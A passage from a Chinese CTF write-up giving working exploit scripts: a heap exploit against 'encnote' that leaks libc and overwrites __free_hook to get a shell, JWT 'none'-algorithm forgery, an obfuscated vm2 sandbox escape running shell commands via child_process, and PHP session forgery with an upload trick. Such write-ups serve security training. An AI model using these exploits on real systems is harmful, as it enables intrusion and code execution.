7.key是存储在堆上的,可以选择用5中的覆盖,覆盖key指针的低字节,使其指向堆上unsorted bin的开头,此时key的第一位是unsorted bin的fd的高字节,其他都是0,然后用这个key加密一段内容,再在本地,爆破这个key,只需256次就能得到fd的最高位。然后再用5,使key指向unsorted bin的次高字节,继续爆破,这样本地只需要6*256次爆破就可以得到完整的unsorted bin的fd,也就获得了libc地址
8.有了libc地址,可以继续用5中的覆盖,改写指向加密的密文的指针,使其指向libc中的free_hook,然后加密system地址的解密的结果,就可以使free_hook被改写成system。
9.此时free 一个/bin/sh的堆块,得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python
from pwn import *
from Crypto.Cipher import Blowfish
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./encnote",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
con=remote(sys.argv[1],int(sys.argv[2]))
libc=ELF("./libc-2.23.so")
elif len(sys.argv)>1:
libc = ELF(sys.argv[1])
con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
con=code.process()
if(context.arch == "amd64"):
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def add(index,length):
con.sendlineafter("Choice:\n","1")
con.sendlineafter("id:",str(index))
con.sendlineafter("length:",str(length))
con.sendlineafter("price:","/bin/sh\x00")
def free(index):
con.sendlineafter("Choice:\n","2")
con.sendlineafter("id:",str(index))
def enc(mes):
con.sendlineafter("Choice:\n","5")
con.sendafter("message:\n",mes)
res = con.recvline()
return res.strip()
def dec(mes):
con.sendlineafter("Choice:\n","6")
con.sendafter("message:\n",mes)
def z(commond=""):
gdb.attach(con,commond)
def backdoor(addr,v):
ci = enc(p32(0x867d33fb)+chr(addr)+chr(14)+"7"+chr(v))
dec(ci.zfill(16).decode("hex")[::-1])
def backdoor2(key,addr,v):
c = Blowfish.new(key, Blowfish.MODE_ECB)
ci = c.encrypt((p32(0x867d33fb)+chr(addr)+chr(14)+"7"+chr(v))[::-1])
dec(ci[::-1])
def bruteforcekey(target,key):
for i in range(0x100):
tmp = chr(i)+key
tmp = tmp.ljust(8,"\x00")
c = Blowfish.new(tmp, Blowfish.MODE_ECB)
test = c.encrypt("87654321")
if target == test:
return chr(i)+key

def leak():
key = ""
for i in range(6):
backdoor(0x39,0x3d-i)
target = enc("12345678").zfill(16)
key = bruteforcekey(target.decode("hex"),key)
return key

def exploit():
pause()
add(0,0x100)
add(1,0x30)
free(0)
key = leak().ljust(8,"\x00")
libc.address = u64(key)-0x3c4c78
print hex(libc.address)
target = p64(libc.symbols['__free_hook'])[::-1]
print repr(target)
for i in range(8):
backdoor2(key,0xb0-i,ord(target[i]))


c = Blowfish.new(key, Blowfish.MODE_ECB)
ci = c.decrypt(p64(libc.sym['system'])[::-1])
enc(ci[::-1])
free(1)

exploit()
con.interactive()

Web

easy_login

题目说明:
最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大 佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错 的一定是我的依赖库!!
可推测是题目依赖库存在问题。
测试题目功能,注册账号,不能注册admin – 登陆 – 在home页可以看到 输入框和get flag的按钮,点击按钮提示权限不足。
翻看题目前端代码/burp记录的流量,在 /static/js/app.js 发现:
/**

  • 或许该用 koa-static 来处理静态文件

  • 路径该怎么配置?不管了先填个根目录XD
    */
    利用 koa-static 错误配置的源码泄露获得源码,进行审计

  1. 发现关键代码:
    const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
    const sid = JSON.parse(Buffer.from(token.split(‘.’)[1], ‘base64’).toString()).secretid;
    if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
    throw new APIError(‘login error’, ‘no such secret id’);
    }
    const secret = global.secrets[sid];
    const user = jwt.verify(token, secret, {algorithm: ‘HS256’});
    发现可以用小数绕过 secretid 的限制,将 secret 置空。发现本题考点为利用 node 的 jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密

  2. 伪造 secretid 为小数的 token,让 secret 成为 undefined,导致 algorithm 为 none 进而使用户变成 admin
    脚本:

1
2
3
4
5
6
7
8
9
10
11
import jwt
import requests

base_url = "http://0.0.0.0:10087" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})

res = s.get(base_url+'/api/flag')
print(res.text)

just_escape

  1. 打开浏览器,检查 header,发现是后端是 express,说明 run.php 只是出题人的恶趣味

  2. 运行代码 run.php?code=Error().stack 根据报错信息发现是 vm2 的沙盒逃逸问题

  3. https://github.com/patriksimek/vm2/issues/225 搜索可得 vm2 最新沙盒逃逸 poc

    但在直接使用时发现存在 waf:

  4. 探测 waf 发现程序过滤了以下关键字:
    [‘for’, ‘while’, ‘process’, ‘exec’, ‘eval’, ‘constructor’, ‘prototype’, ‘Function’, ‘+’, ‘“‘,’'‘]

  5. 绕过 waf,并根据 poc 改写 exp.py ,获取 flag

1
2
3
4
5
6
import requests

base_url = "http://x"
url = base_url + '/run.php?code=(()=%3E{%20TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`]%20=%20f=%3Ef[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,`%20`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))();%20try{%20Object[`preventExtensions`](Buffer[`from`](``))[`a`]%20=%201;%20}catch(e){%20return%20e[`a`](()=%3E{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat%20flag`)[`toString`]();%20}%20})()'
response = requests.get(url)
print(response.text)

babyupload

解题思路:

  1. 利用download读取自己的session

  2. 发现session内容格式,得知session引起为php_binary

  3. 构造admin的session内容,利用attr和sha256拼接后缀的规则,进行bypass,往session目录上传sess文件

  4. 伪造session成为admin

  5. 利用attr的截断,去掉拼接的sha256后缀,达成任意文件名控制

  6. 成功创建success.txt文件,获取flag
    解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
from io import BytesIO
import hashlib

target_url = "http://x.changame.ichunqiu.com/"

def ReadSession():
data = {
'attr':'.',
'direction':'download',
'filename':'sess_bd6cbb52f804cc7b52d4ca5339dbd4e0'
}
url = target_url
s = requests.get(url=url)
r = requests.post(url=url,data=data)
print r.content[len(s.content):]

def BeAdmin():
files = {
"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'))
}
data = {
'attr':'.',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)
session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest()
return session_id

def upload_success():
files = {
"up_file": ("test", BytesIO('good job!'))
}
data = {
'attr':'success.txt',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)

print 'Now Guest PHPSESSION Content is:',ReadSession()
print 'PHPSESSID is:',BeAdmin()
print 'Now Upload Success.txt'
print '*'*50
upload_success()
php_session_id = BeAdmin()
cookies = {
'PHPSESSID':php_session_id
}
url = target_url
s = requests.get(url)
r = requests.get(url=url,cookies=cookies)
print 'Now here is your flag!'
print r.content[len(s.content):]